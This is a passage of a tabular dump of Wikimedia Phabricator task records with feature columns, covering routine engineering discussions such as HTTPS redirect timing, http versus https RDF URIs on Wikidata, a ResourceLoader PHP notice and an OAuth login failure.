+The Navigation Timing API provides absolute, not relative, timestamps. We compute duration by subtracting `navigationStart` from each measure. `navigationStart` is the start of navigation from the user's perspective, so redirects are included. What I am not sure about is whether measures like `responseStart` necessarily refer to the last response from the server, or if the redirect counts.
+
+We can determine this by comparing the distribution of `responseStart` values where `redirectCount` is 0 vs. values where it is nonzero.",Medium,50.0,1434501443,1437614258.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-2oa2df5d4j3xwbdkg4ly,task_description,declined,True,c3,2,True,True,True,-3,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0
+495355,Control for impact of redirects in HTTPS performance impact measurements,Declining this since it's low-priority for us and it won't make a difference to the HTTPS rollout plans at this stage.,,,1437614258,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-2oa2df5d4j3xwbdkg4ly,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+102717,https switch changed wdata prefix to https:,"After the https switch, the page http://www.wikidata.org/wiki/Special:EntityData/Q1.ttl?flavor=dump redirects to https://www.wikidata.org/wiki/Special:EntityData/Q1.ttl?flavor=dump - which produces this prefix:
+
+```
+@prefix wdata: <https://www.wikidata.org/wiki/Special:EntityData/> .
+```
+
+Which doesn't seem right since our URLs are defined as http:// canonically. Should we change the definition or (my preference) fix the output so it displays http:// even if current page is https. Data should not depend on the transfer protocol IMO.",Medium,50.0,1434492549,1435213716.0,PHID-USER-4qe5niesec534hksvuch,False,PHID-USER-4qe5niesec534hksvuch,False,PHID-TASK-vaaztnerkhieqw4eb6ua,task_description,resolved,True,c3,2,True,True,True,-3,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1
+481843,https switch changed wdata prefix to https:,"Change 220832 merged by jenkins-bot:
+T103767: Revert ""T102717: Fix the RDF links always use http:""
+
+[[https://gerrit.wikimedia.org/r/220832]]",,,1435254547,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+481838,https switch changed wdata prefix to https:,"Change 220832 had a related patch set uploaded (by Smalyshev):
+T103767: Revert ""T102717: Fix the RDF links always use http:""
+
+[[https://gerrit.wikimedia.org/r/220832]]
+",,,1435254272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+481379,https switch changed wdata prefix to https:,"Change 218994 merged by jenkins-bot:
+T102717: Fix the RDF links always use http:
+
+[[https://gerrit.wikimedia.org/r/218994]]",,,1435213607,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+481236,https switch changed wdata prefix to https:,"Basing on @dnaiel's comments on the ticket, I think we can commit this one as short-term fix and then develop longer-term consensus in T103767 (if it's different from the short-term one).",,,1435190792,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0
+480273,https switch changed wdata prefix to https:,"I agree that we need to pick one. But the URI in the data and the URL ultimately used to deliver the data doesn't have to be the same, I think - it only need to lead ultimately to the same resource. If we choose https, then we'll need to ensure there URL is always https even if the page is somehow accessed with http (I know right now there's a redirect but what if that redirect is or will be disabled for some clients/IPs/countries/etc.?) anyways. ",,,1435089387,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+480221,https switch changed wdata prefix to https:,"While I did say that pretty much all URIs I know use http, I do not have any reason to believe that https would cause problems. It is not so extensively tested maybe, but in most contexts it should work fine.
+
+A bigger issue is that some people are already using our http URIs.",,,1435084937,,PHID-USER-objbp2gsw5aadxihyhsh,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-2,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0
+480168,https switch changed wdata prefix to https:,"It is important to pick one and stick to it. WMF hosted things changed to https being the default for good reason, which was in preparation for years. We should pick https for things we host.
+
+> This seems a bit arbitrary and annoying, but it's backed by other documents, such as section 4.1 of the Study on persistent URIs by the ISA.
+
+This actually does not talk about not using https at all. The example has explanations for all parts, except the missing s, probably it is only important that it is either one. Throughout the document they act like http and https are the same thing.
+
+> https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#predicate-uris-should-be-http-urls
+
+This states that it is about being able to dereference, not that it should be http over https.
+
+> https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#respond-with-primary-urls-and-use-them-for-identity-comparison
+
+This explicitly says you should pick one and always return that. It also mentions that http without s is not sufficient to trust that a certain response may define what is canonical. Note that this one is after the one above in the same document, i.e. they technically suggest https without making it so explicity. Possibly that was done as to not divide the Working Group over things that were already decided and enshrined as BCP 188.",,,1435080195,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+480165,https switch changed wdata prefix to https:,"So, I think we have a consensus that we want to use `http:`. So let's now figure out what is the best way to do it. I made it in RdfVocabulary kind of brute-force - just make the URLs `http:` always. But it may be too harsh - maybe we could have the clients use RdfVocabulary::alwaysHTTP (I don't feel 100% happy with such a basic function like ""canonicalize URL to be http"" reside in very specialized class but I couldn't find existing one and I don't want to introduce cross-module dependencies) voluntarily instead of RdfVocabulary forcing http in the ctor. 
+Or maybe there's another way of getting canonical URL with http which I am missing. 
+
+Thoughts welcome on this.",,,1435079871,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+480164,https switch changed wdata prefix to https:,"So, I think we have a consensus that we want to use `http:`. So let's now figure out what is the best way to do it. I made it in RdfVocabulary kind of brute-force - just make the URLs `http:` always. But it may be too harsh - maybe we could have the clients use RdfVocabulary::alwaysHTTP (I don't feel 100% happy with such a basic function like ""canonicalize URL to be http"" reside in very specialized class but I couldn't find existing one and I don't want to introduce cross-module dependencies) voluntarily instead of RdfVocabulary forcing http in the ctor. Thoughts welcome on this.",,,1435079802,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+480154,https switch changed wdata prefix to https:,Markus: I seem to remember you saying pretty much everyone does http and not https? If this is indeed the case then I think we should follow conventions and do the same.,,,1435079262,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+479936,https switch changed wdata prefix to https:,"Random but interesting Google results I found:
+* http://www.ebi.ac.uk/rdf/does-rdf-platform-support-https
+* https://pubchem.ncbi.nlm.nih.gov/rdf/#_Toc376426185 (search for ""https"")
+
+Possibly relevant but currently unlinked tickets:
+* {T97195}",,,1435068079,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+479258,https switch changed wdata prefix to https:,@Lydia_Pintscher have a look above. What do you think? ,,,1434998834,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0
+479306,https switch changed wdata prefix to https:,"Sorry for the initial misunderstanding. I was thinking of concept URIs, which are controlled by the conceptBaseUri setting.
+
+So, after some digging around and talking to @Smalyshev, I think he's right: the canonical document URI should use the http schema, even though the canonical document URL should be a https URL. 
+
+The reason is: we want documents to be retrieved via HTTPS if possible, so our canonical documens URLs should use the https protocoll, and the plain http URLs should redirect to the https URLs, as per [[https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#respond-with-primary-urls-and-use-them-for-identity-comparison|section 2.11 of W3C's Linked Data recommendation]]. 
+
+However, be the same recommendations, URIs should always use the HTTP schema, see [[https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#predicate-uris-should-be-http-urls section 2.1]]. This seems a bit arbitrary and annoying, but it's backed by other documents, such as section 4.1 of the [[https://joinup.ec.europa.eu/sites/default/files/c0/7d/10/D7.1.3%20-%20Study%20on%20persistent%20URIs.pdf|Study on persistent URIs]] by the ISA. 
+
+We currently construct the base URI for documents in two places, SpecialEntityData.php and dumpRdf.php. Both rely on the canonical URL of Special:EntityData. Note that the notion of canonical page URLs in core has recently been discussed, and the implementation improved, see https://gerrit.wikimedia.org/r/#/c/219782/2
+
+So, currently, our canonical URIs are based on canonical URLs. Considering the protocol conundrum above, we probably need to change this, and make the canonical document URIs use plain HTTP. The downside of this is security: when resolving the document URI (or the concept URI, for that matter), which should be supported in the spirit of Open Data, then the initial request will be unencrypted, and subject to manipulation. While this is not cirticial for the application at hand, it should be avoided in general.
+
+@Smalyshev's [[https://gerrit.wikimedia.org/r/#/c/218994/|original patch]] will change the document URIs to use plain http for RDF output - do we need a more generic solution? In particular, how should URLs for rel=""alternate"" be constructed? See T96298 and https://gerrit.wikimedia.org/r/#/c/219001/ for that.",,,1435002542,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,1,0,1,1,0,1,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+479256,https switch changed wdata prefix to https:,"Sorry for the initial misunderstanding. I was thinking of concept URIs, which are controlled by the conceptBaseUri setting.
+
+So, after some digging around and talking to @Smalyshev, I think he's right: the canonical document URI should use the http schema, even though the canonical document URL should be a https URL. 
+
+The reason is: we want documents to be retrieved via HTTPS if possible, so our canonical documenr URLs should be https URLs, and the plain http urls should redirect to the https url, as per [[https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#respond-with-primary-urls-and-use-them-for-identity-comparison|section 2.11 of W3C's Linked Data recommendation]]. 
+
+However, be the same recommendations, URIs should always use the HTTP schema, see [[https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#predicate-uris-should-be-http-urls section 2.1]]. This seems a bit arbitrary and annoying, but it's backed by other documents, such as section 4.1 of the [[https://joinup.ec.europa.eu/sites/default/files/c0/7d/10/D7.1.3%20-%20Study%20on%20persistent%20URIs.pdf|Study on persistent URIs]] by the ISA.
+
+We currently construct the base URI for documents in two places, SpecialEntityData.php and dumpRdf.php. Both rely on the canonical URL of Special:EntityData. Note that the notion of canonical page URLs in core has recently been discussed, and the implementation improved, see https://gerrit.wikimedia.org/r/#/c/219782/2
+
+So, currently, our canonical URIs are based on canonical URLs. Considering the protocol conundrum above, we probably need to change this. @Smalyshev's [[https://gerrit.wikimedia.org/r/#/c/218994/|original patch]] will fix this for RDF output - do we need a more generic solution? In particular, how should URLs for rel=""alternate"" be constructed? See T96298 and https://gerrit.wikimedia.org/r/#/c/219001/ for that.
+",,,1434998753,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,1,0,1,1,0,1,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+477472,https switch changed wdata prefix to https:,"@daniel - check out the link, conceptBaseUri is fine. However, data URL, which is derived from canonical URL, is not. I'm also not sure which inconsistencies the patch will lead to, could you explain?",,,1434651657,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+477471,https switch changed wdata prefix to https:,"@daniel - check out the link, conceptBaseUri is fine. However, data URL, which is derived from canonical URL, is not. ",,,1434651409,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0
+477162,https switch changed wdata prefix to https:,"Instead of the proposed patch, which would lead to inconsistencies, just set the concept base URI explicitly in the config:
+
+  $wgWBRepoSetting['conceptBaseUri'] = 'http://www.wikidata.org/entity/';
+
+That would go into the wikibase.php config file, if I understand correctly.",,,1434633544,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+476685,https switch changed wdata prefix to https:,"Change 218994 had a related patch set uploaded (by Smalyshev):
+T102717: Fix the RDF links always use http:
+
+[[https://gerrit.wikimedia.org/r/218994]]
+",,,1434568583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+102624,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,"Spotted in production:
+```
+      1 Undefined index: HTTP_USER_AGENT in /srv/mediawiki/php-1.26wmf9/includes/resourceloader/ResourceLoader.php on line 668
+```",Medium,50.0,1434466074,1434475378.0,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-dqpbthmgjicotxfm6ioc,task_description,resolved,True,c3,2,True,False,True,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+475717,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,It never contained this code in any branch. It was a live hack @ori and I worked on briefly yesterday to figure out why certain clients were unable to load ResourceLoader modules. I guess it unconditionally accessed `$_SERVER` members.,,,1434475279,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0
+475669,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,I just saw this and filed it today.,,,1434472050,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+475649,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,Is this still happening? That file in 1.26wmf9 doesn't contain any code at those lines at the moment that could trigger those errors.,,,1434470764,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+475622,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,Looks like ori has been looking at this already,,,1434469272,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+475605,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,"Also `HTTP_REFERER` and `HTTP_COOKIE`, lines 670 and 672 respectively.",,,1434468180,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+102482,Disable initial login onboarding activity.,"Since we're not (yet) focusing on editors in the app, the login onboarding activity is kind of a distraction, and isn't adding much value.
+[] Make sure there are no dependencies re. the Editing workflow.",Medium,50.0,1434380499,1436296777.0,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-watkhd6l37f2mnm5jn72,task_description,resolved,True,c3,2,True,True,True,-3,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+482031,Disable initial login onboarding activity.,Checked with 2.0.103-alpha-2015-06-25 on Samsung Tablet Ce0168(Android 4.0.4).,,,1435267240,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-watkhd6l37f2mnm5jn72,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+479914,Disable initial login onboarding activity.,"Change 219903 merged by jenkins-bot:
+Remove initial login onboarding splash screen
+
+[[https://gerrit.wikimedia.org/r/219903]]",,,1435066650,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-watkhd6l37f2mnm5jn72,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+479274,Disable initial login onboarding activity.,"Change 219903 had a related patch set uploaded (by Mholloway):
+Remove initial login onboarding splash screen
+
+[[https://gerrit.wikimedia.org/r/219903]]
+",,,1435000191,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-watkhd6l37f2mnm5jn72,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+102276,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""","Hi someusers are reporting when registering for an account using MediaWiki OAuth.
+
+They have said the following.
+
+I just tried to report it on Phabricator. From the home page, I clicked ""Report a problem"", and it took me to a login screen. I clicked the ""Mediawiki"" button, and it took me to the MediaWiki's OAuth screen. After I clicked ""Allow"", it came back to Phabricator, and the message, ""Login Failure. Login cookie was set correctly, but your login session is not valid. Try clearing cookies and logging in again.""
+",Medium,50.0,1434135333,1435193381.0,PHID-USER-bxp7xrbobtrp5o3q3swv,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-hloyw4asqcmtaco4vprz,task_description,resolved,True,c3,2,True,False,True,-3,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+481255,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""","Have there been any new reports of this happening? I'm pretty sure it's resolved now, please reopen if there are further issues.",,,1435193372,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
